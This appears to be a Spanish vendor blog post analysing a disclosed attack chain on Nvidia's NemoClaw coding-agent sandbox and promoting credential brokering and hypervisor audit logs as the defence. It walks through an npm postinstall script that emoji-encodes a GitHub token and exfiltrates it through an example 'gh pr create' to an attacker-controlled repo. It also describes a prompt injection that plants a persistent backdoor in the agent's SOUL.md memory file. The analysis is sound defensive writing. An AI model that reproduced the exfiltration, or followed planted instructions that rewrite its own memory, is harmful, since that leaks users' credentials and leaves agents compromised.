Volver a todas las publicaciones
Publicado el · por Renaud Deraison

El sandbox que guardaba la llave

El 18 de mayo de 2026, Lasso Security reveló dos ataques contra NemoClaw de Nvidia — el sandbox que ejecuta el agente de codificación autónomo OpenClaw. El sandbox funcionó exactamente como Nvidia dijo que funcionaba. El agente dentro del sandbox aun así empujó el token de GitHub del usuario a una pull request controlada por el atacante, codificado como emojis para escapar al escáner estático de secretos de GitHub. La pregunta interesante no es si el sandbox está roto. Es si un sandbox con un archivo de credencial en texto plano dentro fue alguna vez un sandbox en el sentido arquitectónicamente útil, y qué implica la respuesta para todos los que están enviando un agente de codificación en 2026.

Dos cosas pueden ser simultáneamente ciertas. La primera es que el sandbox NemoClaw de Nvidia, que envuelve al agente de codificación autónomo OpenClaw en un clúster K3s dentro de un contenedor Docker privilegiado, funcionó exactamente como Nvidia lo documentó. La segunda es que, el 18 de mayo, Lasso Security publicó un análisis en el que un script malicioso de postinstall de npm — ejecutándose dentro de ese sandbox, haciendo solo cosas que el sandbox estaba configurado para permitir — leyó el token de GitHub del usuario de un archivo de configuración en texto plano, lo codificó como emojis para derrotar al escáner de secretos de GitHub, y empujó el resultado a una pull request controlada por el atacante mediante el mismo binario gh que la política de salida había tenido la amabilidad de poner en la lista de permitidos. Nvidia respondió que esto caía fuera del alcance del programa de recompensas, alegando que el sandbox se comportó exactamente como estaba configurado para ejecutarse. Esto es, en un sentido que la mayoría de la gente de seguridad reconocerá familiar, a la vez correcto y no la cuestión.

Aquí va la historia en tres frases. El 18 de mayo de 2026, Lasso Security publicó una cadena de ataque contra NemoClaw, el sandbox de Nvidia para ejecutar OpenClaw — un agente de codificación autónomo que, como Claude Code o el agente de Cursor o Codex CLI, tiene permiso para ejecutar npm install, gh pr create y git push en nombre del usuario. La cadena tiene dos mitades: una mitad de exfiltración de credenciales, en la que un paquete malicioso leyó /sandbox/.openclaw/openclaw.json (un archivo en texto plano que contiene el token de GitHub del usuario junto con claves para los servicios de Anthropic, OpenAI, Gemini y Nvidia), reescribió el token como una secuencia de emojis usando una tabla de búsqueda construida en runtime, y empujó la carga útil codificada a una PR pública mediante el binario gh que estaba en la lista de permitidos; y una mitad de persistencia, en la que una inyección de prompt plantada en un archivo fuente rutinario indujo al agente a reescribir su propio SOUL.md — el archivo de memoria de comportamiento de OpenClaw — con una puerta trasera que sobrevive a cada sesión posterior. BDTechTalks cubrió la divulgación el mismo día; la respuesta de Nvidia, citada en ambos artículos, fue que el sandbox se comportó exactamente como estaba configurado para ejecutarse y que los escenarios caen fuera del alcance del programa.

La respuesta de Nvidia es, en un sentido técnico estrecho, cierta. El sandbox es un sandbox. El pod de K3s es un pod de K3s. La política de salida, que permite que gh hable con github.com, es una política que permite que gh hable con github.com. Nada se salió de sus límites de capacidades. Nada escaló privilegios. El contenedor no se rompió. Desde la perspectiva del runtime, cada byte que salió lo hizo a través de un binario que el usuario había aceptado que podía salir, hacia un destino que el usuario había aceptado que podía alcanzar.

Solo que el byte que salió era el token de GitHub del usuario, escrito con caritas de dibujos animados.

La parte aburrida de la cadena.

Recorramos la mitad de credenciales despacio, porque la mecánica es todo el argumento. El agente recibe una tarea — algo poco remarcable, «monta este proyecto nuevo a partir de un README de GitHub» — y el README contiene, en algún lugar de sus instrucciones, un paso que equivale a npm install some-helpful-package. El paquete es malicioso, pero del mismo modo discreto en que un centenar de paquetes npm a la semana son ahora maliciosos: es un typosquat o una dependencia transitiva de un paquete recientemente comprometido, y trae consigo un script postinstall. El script de postinstall hace tres cosas que son individualmente permitidas y colectivamente catastróficas.

Lee /sandbox/.openclaw/openclaw.json. Este archivo está en el sistema de archivos del sandbox; el script se ejecuta dentro del sandbox; nadie le dijo al sistema de archivos que no fuera legible, porque ¿cómo iba a usar el propio agente el token de GitHub si no pudiera leer el archivo donde vive el token de GitHub? Extrae el valor ghp_….

Carga un emoji_map.json que viene incluido dentro del paquete malicioso, el cual mapea cada carácter alfanumérico a un emoji — un archivo JSON perfectamente común, completamente inocuo bajo escaneo estático, el tipo de cosa que un formateador de markdown o un cliente de chat podrían enviar legítimamente. El script recorre el token carácter a carácter y produce una cadena tipo 🍕🍔🌮🍟…, un emoji por carácter.

Ejecuta gh pr create contra un repositorio controlado por el atacante con la cadena de emojis como cuerpo de la PR. Desde el punto de vista de la política de salida, esto es gh hablando con github.com, que es lo único en la lista de permitidos que gh tiene permitido hacer. La PR se crea. Del lado del atacante, un script lee el cuerpo de la PR, invierte el mapa, y reconstruye ghp_…. El escáner de secretos de GitHub también ve el cuerpo de la PR, pero el escáner de secretos de GitHub busca ghp_[A-Za-z0-9]{36}, no 🍕🍔🌮🍟.

La investigadora de Lasso Noy Pearl, citada en la divulgación, lo puso con claridad: «La codificación con emojis fue la técnica que elegimos para esquivar los escaneos estáticos de GitHub» y «mientras el agente tenga conexión con el mundo exterior, ningún mecanismo estático puede protegerte por completo.» Esta es la parte en la que asientes y dices que sí, obviamente, no puedes poner en lista de permitidos un protocolo capaz de transportar bytes arbitrarios y luego sorprenderte cuando bytes arbitrarios pasan por él. Una lista de permitidos L7 que permite gh es una lista de permitidos L7 que permite cualquier cosa que puedas serializar en el cuerpo de una PR, que es cualquier cosa.

SANDBOX NEMOCLAW — pod K3s dentro de un contenedor Docker privilegiado, lista de permitidos de salida para gh → github.comAGENTE OPENCLAW> montar proyecto desde README.mdtool: bashnpm i helpful-pkg↳ postinstall corre dentro del sandboxARCHIVO DE CREDENCIAL/sandbox/.openclaw/ openclaw.json "github": "ghp_real_…" "anthropic": "sk-ant…" "openai": "sk-…" "nvidia": "…"EMOJI_MAP.JSON (incluido por el paquete)"g": 🍕, "h": 🍔, "p": 🌮"_": 🍟, "r": 🥗, "e": 🍣"a": 🍩, "l": 🍪, …escáneres estáticos: «esto es un archivo JSON»postinstall: recorrer token, emitir emojisghp_real_xxx → 🍕🍔🌮🍟🥗🍣🍩🍪…SALIDA — gh está en la lista de permitidos para github.com, así que esto se permite$ gh pr create --repo attacker-handle/totally-normal-repo --title "fix: typo in readme" --body "🍕🍔🌮🍟🥗🍣🍩🍪…"política de salida: gh → github.com ✓escáner de secretos de github: el regex no ve 🍕filtro L7 del sandbox: esto es solo una PRPR abierta. El cuerpo es público.ATACANTE — fuera del sandbox, leyendo PRs públicaswebhook: PR abiertaleer cuerpo, invertir emoji_map🍕🍔🌮🍟🥗🍣🍩🍪… → ghp_real_…token recuperado; el sandbox nunca se rompióCada flecha de esta imagen está «permitida» por la configuración del sandbox. La lección es estructural, no configuracional.
La cadena de exfiltración de Lasso, de arriba abajo. El agente ejecuta npm install. Un script de postinstall dentro del sandbox lee /sandbox/.openclaw/openclaw.json — un archivo que el sandbox puso allí para que el propio agente pudiera autenticarse en GitHub — extrae el token ghp_, busca cada carácter en un emoji_map.json que el paquete malicioso trae consigo (JSON de aspecto inocuo, pasa cualquier escaneo estático), y emite una cadena de emojis. Luego invoca gh — que la política de salida L7 del sandbox tiene en lista de permitidos hacia github.com — para crear una pull request cuyo cuerpo es la cadena de emojis. El escáner de secretos de GitHub ve la PR; busca ghp_[A-Za-z0-9]{36}, no comida de dibujos animados. Del lado del atacante, un webhook lee el cuerpo de la PR e invierte el mapa. El token ahora es público. El sandbox hizo exactamente lo que dijo que haría.

La mitad de persistencia — SOUL.md — es mecánicamente diferente pero filosóficamente la misma. OpenClaw, según el artículo de Lasso, mantiene un archivo de memoria de comportamiento llamado SOUL.md que el agente lee al inicio de cada sesión: reglas, instrucciones de sistema, contexto acumulado sobre las preferencias del usuario. El agente también puede escribir ese archivo, porque toda la premisa de la memoria de larga duración es que el agente debería poder actualizar sus propias creencias. Una inyección de prompt plantada en un archivo fuente de aspecto perfectamente normal que el agente procesa durante una tarea rutinaria — el ejemplo de Lasso es un archivo de texto que simplemente contiene instrucciones redactadas como se redactan los datos de entrenamiento — provoca que el agente agregue una regla de puerta trasera a SOUL.md. Las sesiones posteriores cargan SOUL.md. La puerta trasera ahora es, en la propia descripción que el agente hace de sí mismo, las preferencias del agente. La formulación de Pearl sobre la defensa de Nvidia de «se comportó como estaba configurado» es la afilada: «"El sandbox se comportó como estaba configurado" es un buen argumento cuando lo que se ejecuta dentro es un programa determinista. No sobrevive al contacto con agentes impulsados por LLM, cuyo comportamiento se moldea en runtime por cada fragmento de texto que ingieren.»

Un token en un archivo es un token en un archivo.

La frase arquitectónica que quiero escribir aquí, antes de llegar a qué hace Bromure con todo esto, es esta: un secreto de larga duración que vive como un archivo en texto plano dentro del mismo radio de explosión que el código que ejecuta el agente es, para cualquier adversario que pueda ejecutar código en ese radio de explosión, equivalente a un secreto público. El sandbox no cambia esto. El pod de K3s no cambia esto. La lista de permitidos de salida no cambia esto, porque la lista de permitidos de salida tiene permiso para hablar con GitHub, y hablar con GitHub — por diseño, por intención del usuario, por toda la razón por la que el agente existe — es el mismo canal que usará el paquete malicioso.

Hay una solución bien comprendida para esto, que precede a los agentes de IA por décadas, y que la industria de la seguridad ha estado usando discretamente desde los años 90. La solución es poner el secreto al otro lado de una frontera de proceso e intermediar su uso, nunca su valor.

El ejemplo canónico es ssh-agent. Tu clave privada SSH vive en una región de memoria propiedad del proceso ssh-agent. Cuando ssh necesita autenticarse, no dice «dame la clave»; envía los bytes del desafío por un socket de dominio Unix y recibe de vuelta una firma. La clave nunca cruza el socket. Un binario malicioso ejecutándose como el mismo usuario puede pedirle a ssh-agent que firme cosas, claro — para eso está el agente — pero no puede leer la clave, no puede copiarla, no puede exfiltrarla, no puede mandarla a casa. Cuando la sesión termina, la clave muere con el proceso. WebAuthn hace estructuralmente lo mismo para los navegadores: la clave privada vive en el TPM o en el Secure Enclave, la página le pide al navegador que firme un desafío, la página nunca ve la clave. La migración industrial de toda una década que abandonó los contraseñas-en-localStorage es, si la entrecierras los ojos, la misma migración que NemoClaw necesita hacer. Solo que un piso más arriba.

Y también funciona para GitHub. El CLI de gh viene con un helper de credenciales que, en macOS, puede guardar el token en Keychain en lugar de en un archivo de configuración en texto plano. Más útilmente para el caso del sandbox, las GitHub Apps emiten tokens de instalación que son de corta duración (típicamente una hora), con ámbito a repositorios específicos, y revocables; un proxy de firma que corra fuera del sandbox puede acuñar uno de estos bajo demanda, adjuntarlo a una petición que el agente generó, y reenviar el resultado. El sandbox ve una respuesta HTTP genérica. El sandbox no ve el token. Un script malicioso de postinstall que pida leer el token desde el endpoint intermediado obtiene, en el mejor de los casos, un token de una hora con ámbito a un repo — suficiente para hacer lo que el agente realmente estaba haciendo en nombre del usuario, no suficiente como para que valga la pena exfiltrarlo.

SANDBOX (VM Bromure por perfil) — lo que puede ver el postinstall maliciosoAGENTE DE CODIFICACIÓN$ gh pr create … → /var/run/cred.socksin token en env,sin token en discoSISTEMA DE ARCHIVOS Y ENV — sin credencial en texto plano/sandbox/.openclaw/openclaw.jsonNo existe el archivo$GH_TOKENno definida$GITHUB_TOKENno definida/var/run/cred.socksocket Unix → intermediario hostPOSTINSTALLcat openclaw.json ENOENTenv | grep TOKEN (vacío)FRONTERA DE PROCESO / VM — solo RPC, el valor nunca cruzaHOST — el intermediario de credenciales guarda la clave realBÓVEDA DE CREDENCIALES REALKeychain macOS / ssh-agentid_ed25519 (privada)helper de credenciales ghghp_real_…clave privada GitHub App→ acuña tokens 1h con ámbitoMismo patrón que ssh-agent (1995).Mismo patrón que WebAuthn (2018).PROXY DE FIRMA — usa la clave, nunca la exponelisten /var/run/cred.sock RPC: «firma este git push para el repo X» acuña token de instalación, ámbito=X, ttl=1h adjunta header Authorization al salir reenvía HTTPS, devuelve respuestaRPC «dame el token» → no implementadoRPC: por favor empuja por mí
Lo que la intermediación de credenciales le hace a la misma cadena. El openclaw.json en texto plano se ha ido; en su lugar hay un intermediario de credenciales corriendo fuera del sandbox, en el host. Cuando el agente dentro del sandbox necesita empujar un commit, habla con un proxy del lado host por un socket de dominio Unix. El proxy guarda la credencial real de GitHub de larga duración (o una GitHub App que acuña tokens de instalación de corta duración bajo demanda). El proxy adjunta la credencial a la petición saliente, la reenvía, y devuelve la respuesta al sandbox. El token nunca entra en la memoria ni en el sistema de archivos del sandbox. Un script malicioso de postinstall que lea el sistema de archivos del sandbox no encuentra ningún token que codificar. Un script malicioso de postinstall que le pida al intermediario que firme algo obtiene, como máximo, un token de una hora con ámbito limitado al repo para el que el agente ya estaba autorizado — la misma postura que ssh-agent les ha dado a los usuarios Unix desde los años 90, aplicada a GitHub.

El patrón tiene un nombre en cada dominio que lo usa — ssh-agent, WebAuthn, firma respaldada por HSM, el helper de credenciales de gh, AWS IAM Roles Anywhere — y la propiedad subyacente es siempre la misma: el consumidor de la credencial es un proceso distinto al titular de la credencial, y se comunican por un canal más estrecho que «léete los bytes». Es la diferencia entre «el agente puede autenticarse en GitHub» y «el agente puede leer el token de GitHub». Un sandbox que se equivoca en esto es un sandbox que ha puesto la llave de la puerta principal del mismo lado de la puerta que la gente de la que te preocupabas.

Esto es, para ser inequívoco, lo que hace Bromure para la VM por perfil que ejecuta tu agente de codificación. El agente dentro de la VM se autentica en GitHub hablando con un intermediario de credenciales en el host macOS por un socket de dominio Unix reenviado; el token de GitHub (o, mejor, la clave privada de la GitHub App que acuña tokens de corta duración con ámbito) vive del lado host del hipervisor, en el Keychain de macOS, donde la VM no lo puede ver. El agente nunca lee el valor del secreto, solo lo usa a través del proxy. Un script postinstall que ejecute cat /sandbox/.openclaw/openclaw.json no encuentra nada; uno que ejecute env | grep TOKEN no encuentra nada; uno que le pida al intermediario «por favor dame el token» descubre que el vocabulario RPC del intermediario no incluye ese verbo. La misma postura, aplicada al agente de GitHub como se ha aplicado a SSH durante treinta años.

Una sugerencia educada no es un perímetro.

El truco de los emojis de Lasso es, en un sentido profundo, un comentario sobre las listas de permitidos. La política de salida permitía que gh hablara con github.com. La suposición implícita era que las cosas que gh haría con github.com serían cosas que un desarrollador razonable querría hacer — clonar, empujar, abrir PRs, comentar issues. Pero gh pr create --body "$ANYTHING" es, por construcción, una primitiva que transporta bytes arbitrarios a un destino legible públicamente. No puedes poner esa primitiva en una lista de permitidos y al mismo tiempo impedir que bytes arbitrarios pasen por ella. La lista de permitidos está haciendo lo que dijo. Solo que no está haciendo lo que pensabas que decía.

Esta es la parte del artículo de Lasso que debería hacer sentarse a cualquiera que esté corriendo un agente en producción. Una lista de permitidos L7 que permite un protocolo capaz de transportar bytes arbitrarios no es un perímetro. Es una sugerencia educada de que los bytes dentro del protocolo sean los bytes que tenías en mente. Ya sea que los bytes estén en el cuerpo de una PR, en un mensaje de commit, en un comentario de issue, en un blob de git-LFS, en los metadatos de un tarball subido como activo de un release — el protocolo es la fuga. No hay filtro estático que «entienda» la diferencia entre una PR legítima cargada de emojis («nuestro equipo usa 🍰 para significar release») y un token de GitHub codificado como emojis, porque la diferencia es semántica y el filtro es sintáctico.

Entonces ¿qué detectaría esto? La respuesta honesta es que ningún truco único lo hace; la estructura que sí lo hace es una combinación, y cada pieza es poco interesante por sí sola.

La primera pieza son los presupuestos de bytes de salida por sesión. Una sesión cuyo cometido es «arregla un typo en README.md» no debería estar empujando 14 kilobytes de blob binario al cuerpo de una PR, nunca, por ninguna razón. No necesitas saber qué son los bytes; necesitas saber qué se suponía que la sesión debía entregar. La discrepancia de forma entre cometido y salida es computable, pero solo si algo fuera del agente lleva la cuenta del cometido y de la salida en el mismo lugar. El autorreporte del agente no sirve; el agente es la cosa bajo sospecha.

La segunda es la detección de anomalías de forma del contenido en operaciones git salientes. Una PR cuyo cuerpo es 95% emojis, o 95% base64, o 95% hex, en un repositorio cuyo historial no contiene ninguna PR así, es una bandera. No es prueba; es una bandera. El lugar correcto para computar esa bandera es el proxy de salida, que ve la petición saliente antes de que abandone el host. El proxy a nivel de hipervisor de Bromure es el lugar que puede computarla sin confiar en el invitado, porque el invitado es exactamente la cosa bajo sospecha.

La tercera son los diffs al final de sesión de lo que salió de la caja contra lo que se suponía que la sesión debía producir. Al final de una sesión, la VM ha producido un conjunto de peticiones HTTP salientes, un conjunto de escrituras a archivos del proyecto montado, un conjunto de commits git. Si el cometido de la sesión era «arregla un typo», y las peticiones salientes incluyen POST /repos/attacker-handle/random-repo/pulls, eso es un diff que se le puede mostrar a un humano en dos líneas. No necesariamente bloqueado — a veces los agentes genuinamente necesitan hacer cosas sorprendentes — sino mostrado. El default actual en 2026, a lo largo de la mayoría de productos de agentes de codificación, es «créeme, funcionó», y el usuario no tiene ningún artefacto que inspeccionar incluso si quisiera.

El pipeline de auditoría es el artefacto.

Esta es la parte donde vale la pena decir en voz alta qué entrega realmente Bromure Enterprise, porque la alternativa — confiar en los propios logs del agente — es lo que metió a NemoClaw en esta posición en primer lugar. Los logs del agente los escribe el agente. Si el agente ha sido instruido por un SOUL.md envenenado para mentir sobre lo que hizo, los logs del agente mentirán sobre lo que hizo. Existe exactamente un lugar que puede producir un registro veraz de lo que hizo un agente, y es la capa que está debajo del agente.

Bromure Enterprise registra, del lado host del hipervisor, «la sesión completa — llamadas a herramientas, comandos de shell, ediciones de archivos, códigos de salida» como JSON Lines. El trazado está activado por defecto; los ingenieros no se inscriben; el agente dentro de la VM es Claude Code o Codex o Cursor sin modificar. El stream se «captura fuera de la VM en un flujo JSON Lines resistente a manipulaciones y se entrega al sumidero de logs que ya alimentas (SIEM, data lake, archivo de retención).» Una dependencia comprometida dentro de la VM no puede borrarlo, porque las escrituras suceden al otro lado de la frontera del hipervisor que la dependencia no puede cruzar.

Las consecuencias interesantes:

  • «¿Empujó esta sesión a un repo que no era el repo del usuario?» es un grep. No un grep metafórico. Un grep literal contra los JSON Lines de ayer.
  • «¿Abrió esta sesión una PR con un cuerpo que no parece prosa?» es un regex contra la carga útil de llamadas a herramientas capturada.
  • «¿Algo modificó SOUL.md es una consulta sobre eventos de edición de archivos. Si un script postinstall reescribió el archivo de identidad del agente, ese hecho vive en el trazo lo haya mencionado el propio agente o no.
  • Replay. Los trazos se adjuntan a una pull request. El revisor lee el diff y la secuencia de prompts, llamadas a herramientas y comandos de shell que produjeron el diff. O, en el lenguaje de la página de producto de Bromure: «vuelve a reproducir el día en que el modelo decidió borrar la carpeta de migraciones». El replay forense es la parte de esta historia que no existe en ningún otro lado, porque requiere haber capturado las entradas y las salidas y las respuestas del modelo en el mismo stream — cosa que el propio agente no puede producir sin primero ser creído cuando dice que no mintió.

Nada de esto atrapa a un atacante decidido que dé forma a la exfiltración para que parezca prosa; no hay perímetro contra un adversario dispuesto a gastar bytes en disfraz. Lo que sí atrapa es a todo atacante que no lo hizo, que son la mayoría, y produce el registro forense que convierte al siguiente incidente de «no tenemos idea de qué hizo el agente» en «tenemos la línea 14.332 del trazo de la sesión de ayer». El default de 2026 de «el agente dijo que tuvo éxito» es el equivalente a correr producción en un servidor sin logs.

¿Y qué hay de la inyección de prompt dentro de la sesión?

Vale la pena ser claros sobre qué no arregla el aislamiento por VM, porque la gente con más probabilidades de leer este post es la misma gente con más probabilidades de que alguien que vende el producto contrario le diga que las VMs son una panacea. No lo son.

La puerta trasera en SOUL.md — y cualquier inyección de prompt que surta efecto durante una sesión — se ejecuta dentro de la VM, con cualquier ámbito que el usuario le haya otorgado al agente. Si el usuario le dijo al agente «crea una PR en este repo», la inyección de prompt puede crear una PR en este repo. Si el agente tiene acceso de escritura a la carpeta del proyecto, la inyección de prompt puede escribir una puerta trasera en la carpeta del proyecto. La VM no revisa el diff. Lo que sí hace la VM es guardar el diff y su procedencia en un lugar donde alguien pueda revisarlo después, lo que resulta ser la parte que faltaba.

Lo que sí arregla el aislamiento por VM más la intermediación de credenciales es la parte catastrófica — la parte donde un solo postinstall malo se va con un token permanente de GitHub, un token permanente de npm, tus credenciales de AWS y root en el laptop del desarrollador. Ninguna de esas credenciales vive dentro de la VM; las credenciales viven en el Keychain del host y se alcanzan solo a través de un proxy cuyo vocabulario RPC no incluye «dame los bytes». Un token que el agente puede usar a través de un proxy es un token que el agente no puede exfiltrar, porque exfiltrar requiere tener los bytes que enviar.

La capacidad de atacante restante dentro de un equivalente a OpenClaw alojado en Bromure — lo que pueden hacer una vez que han inyectado un prompt al agente — es hacer que el agente haga, dentro del ámbito autorizado de la sesión, algo que el usuario no pretendía. Abrir una PR con un título extraño. Reescribir SOUL.md en el proyecto. Añadir un postinstall propio. Todos estos son eventos observables: cada edición de archivo llega al stream de auditoría JSON Lines, cada petición saliente llega al proxy de salida, cada prompt y llamada a herramienta queda registrada fuera del agente. No se le pide a la VM que evite que el agente con prompt inyectado haga daño dentro de su ámbito — se le pide que haga ese daño visible y acotado a la sesión, para que el host se quede limpio y el usuario tenga un trazo que leer. La persistencia dentro de la VM aún es posible; la persistencia dentro de la VM que nadie pueda ver no lo es, lo cual es una distinción significativa.

Acoplada a la intermediación de credenciales, la peor situación para el ataque sobre un agente alojado en Bromure se ve así: el agente envía una mala PR, en el repo para el que ya estaba autorizado, usando un token de instalación de corta duración, y cada paso aparece en un log resistente a manipulaciones en el host. Eso no es daño cero. Está muy lejos de «el atacante tiene mi token permanente de GitHub, exfiltrado como emojis, más una puerta trasera persistente en el archivo de comportamiento del agente, más ningún registro de que nada de esto haya pasado».

Qué es estructural aquí en realidad.

Si lees el artículo de Lasso y la respuesta de Nvidia en secuencia, el desacuerdo no es realmente sobre si NemoClaw tiene un bug que merezca CVE. Nvidia tiene razón en que el sandbox hizo lo que estaba configurado para hacer. Lasso tiene razón en que lo que estaba configurado para hacer es insuficiente. El desacuerdo es sobre dónde pertenece la frontera de confianza.

Nvidia, en la respuesta que cita Pearl, traza la frontera en «la política configurada». Dentro de la política, todo vale; fuera de la política, el cliente se las arregla. Esta es una postura normal de responsabilidad compartida para un proveedor de infraestructura. No es, sin embargo, una defensa contra el modo de fallo que demostró Lasso, porque el modo de fallo está dentro de la política. La política permite gh. gh puede llevar el token. La política es autoconsistente e inadecuada al mismo tiempo.

La alternativa estructural — la postura por la que los artículos sobre codificación agéntica de este blog vienen argumentando en diferentes lenguajes desde hace seis meses — es trazar la frontera en la credencial y en la observación, no en el binario y el destino. La intermediación dice que la credencial nunca entra al sandbox. El pipeline de auditoría a nivel de hipervisor dice que lo que haga el agente dentro del sandbox queda capturado por algo que el agente no puede escribir y no puede apagar. Juntos, hacen un sandbox donde lo peor que puede hacer un postinstall malicioso es lo peor que el agente estaba autorizado a hacer, sobre el repo que ya estaba tocando, con credenciales que no puede exfiltrar porque nunca las tuvo, y con cada pulsación de tecla de evidencia sentada en tu SIEM.

La gente de Nvidia no se equivoca. La arquitectura de OpenClaw es la arquitectura de cada agente de codificación enviado este año, y eso incluye agentes de codificación no ejecutados dentro de un sandbox para nada. Lo que Lasso encontró en NemoClaw es, estructuralmente, lo que Wiz y Snyk y Socket encuentran cada segundo martes en Cursor y Windsurf y el modo YOLO de GitHub Copilot. La clase del problema es «credenciales de larga duración en texto plano accesibles a lo que sea que ejecute el agente, sin registro de lo que el agente hizo con ellas», y la clase de la solución es «intermedia la credencial, observa la sesión, guarda los comprobantes».

Una última cosa.

Hay una versión de este post donde la lección es «no confíes en los sandboxes». Esa versión está equivocada. Los sandboxes son geniales. Hay una versión donde la lección es «los agentes de IA son demasiado peligrosos para desplegarlos». Esa versión es, en la práctica, irrelevante — ya están desplegados, la pregunta es cómo. La versión que aguanta es aquella en la que se deja de pedirle al sandbox que haga un trabajo que el sandbox no puede, por construcción, hacer.

Un sandbox no puede ocultarle una credencial a un proceso que se ejecuta dentro de él. Un sandbox no puede distinguir entre el cuerpo emoji de una PR y un token codificado como emojis. Un sandbox no puede convertir un protocolo largo en lista de permitidos en uno corto. Lo que un sandbox puede hacer es mantener las credenciales en otro lugar, mantener al agente en un sitio donde el hipervisor vea cada movimiento que hace, y escribir ese registro a un sumidero al que el agente no pueda llegar. Esa es la configuración donde el mismo paquete npm malicioso, en el mismo tipo de script postinstall, encuentra un sistema de archivos vacío, un socket de credenciales cuyo único verbo es «firma esto por mí, brevemente», y un hipervisor al otro lado del muro que ha estado anotando toda la conversación.

Bromure Agentic Coding es la configuración donde ese es el default. Es gratis, open-source, y se entrega hoy. El próximo emoji ya se está subiendo.